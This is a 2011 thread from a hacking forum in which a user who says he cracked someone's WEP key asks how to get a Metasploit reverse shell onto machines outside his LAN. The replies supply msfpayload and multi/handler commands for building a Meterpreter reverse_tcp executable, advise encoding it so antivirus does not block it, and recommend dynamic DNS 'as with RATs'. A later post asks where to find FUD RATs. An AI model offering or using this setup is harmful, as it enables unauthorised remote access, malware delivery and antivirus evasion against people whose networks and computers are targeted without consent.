![]() |
|
Portforwarding and metasploit outside LAN. - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Computers (https://sinister.ly/Forum-Computers) +--- Forum: Operating Systems (https://sinister.ly/Forum-Operating-Systems) +--- Thread: Portforwarding and metasploit outside LAN. (/Thread-Portforwarding-and-metasploit-outside-LAN) Pages:
1
2
|
Portforwarding and metasploit outside LAN. - spaceink - 04-14-2011 Well the subject is a bit strange maby. but i have setup portforwarding correctly and checked it with canyouseeme and it worked great. but i cant connect to other Computers throe internet only LAN. i found a wireless network and hacked the WEP key and tryed that network and tryed to connect with my other pc from my Router to that pc but it didnt work. i am using metasploit with LInux and i cant figure out what i am doing wrong, when i set up the listener i should use my External ip with my port forward port shouldnt i? not my internal? can someone please give me some advice or a tutorial =/ . . Sorry for my bad English btw :innocent: RE: Portforwarding and metasploit outside LAN. - Enc0de - 04-14-2011 (04-14-2011, 10:16 PM)spaceink Wrote: Well the subject is a bit strange maby. I am more than happy to help you but I can't figure out what you did repeat it again step by step. 1. setp 1 2. step 2 RE: Portforwarding and metasploit outside LAN. - spaceink - 04-14-2011 Hello! thanks =) Well step 1 and 2 i have setup portforwarding correctly and it works just fine, but when i use metasploit reverse_tcp and tries to Ac cess my other computer thru a hacked wireless network that is not on my LAN i cant get connection, i dont know if i set it up correct, should i use my internal IP or my external IP when i configure Rhost and Lhost in metasploit with my port that i already portforwarded in my router ? it works just fine when i try to hack my other computer in my LAN network but not outside . . if you are experienced with metasploit could you give me a guide on how you set it up to connect outside LAN. . thanks again. RE: Portforwarding and metasploit outside LAN. - lagann - 04-15-2011 external ip: ip public internal ip : ip in ur pc.....is that what u mean? try to set up listener with ip in ur pc...
RE: Portforwarding and metasploit outside LAN. - spaceink - 04-15-2011 i manage to set up a static ip . so i switched from that internal ip that my router gave me to another that i created . and when i do the listener i use that ip together with my forwarded port right ? RE: Portforwarding and metasploit outside LAN. - lagann - 04-16-2011 (04-15-2011, 05:50 PM)spaceink Wrote: i manage to set up a static ip . so i switched from that internal ip that my router gave me to another that i created . and when i do the listener i use that ip together with my forwarded port right ? btw what exploit you use? RE: Portforwarding and metasploit outside LAN. - spaceink - 04-17-2011 exploit/multi/handler with payload windows/meterpreter/reverse_Tcp .. RE: Portforwarding and metasploit outside LAN. - lagann - 04-18-2011 (04-17-2011, 11:40 PM)spaceink Wrote: exploit/multi/handler with payload windows/meterpreter/reverse_Tcp .. exploit with make exe.file?? if u use that ,try this .. Code: msfpayload windows/meterpreter/reverse_tcp set LHOST=(ip public) LPORT=(port) x> filename.exe... and u can use 1 or more encoder too.. using msfencodeuse multi/handler set payload windows/meterpreter/reverse_tcp set LHOST <ur ip on pc> set LPORT <the port must same as above> don't forget to portforward ur ip on pc and port........ this work for me....... make sure that exe file don't get block by ur AV sorry if my english bad^_^' RE: Portforwarding and metasploit outside LAN. - Enc0de - 04-21-2011 Hey dont use your external IP do what you do with RATs sign up for NO-IP and use the DNS you make and you should be good. RE: Portforwarding and metasploit outside LAN. - lagann - 04-22-2011 (04-21-2011, 02:48 PM)enc0de Wrote: Hey dont use your external IP do what you do with RATs sign up for NO-IP and use the DNS you make and you should be good. encode.. I'm searching for rats and fud ...which can run in bactrack...... the rats an fud i hv just runnning in windows......:'( |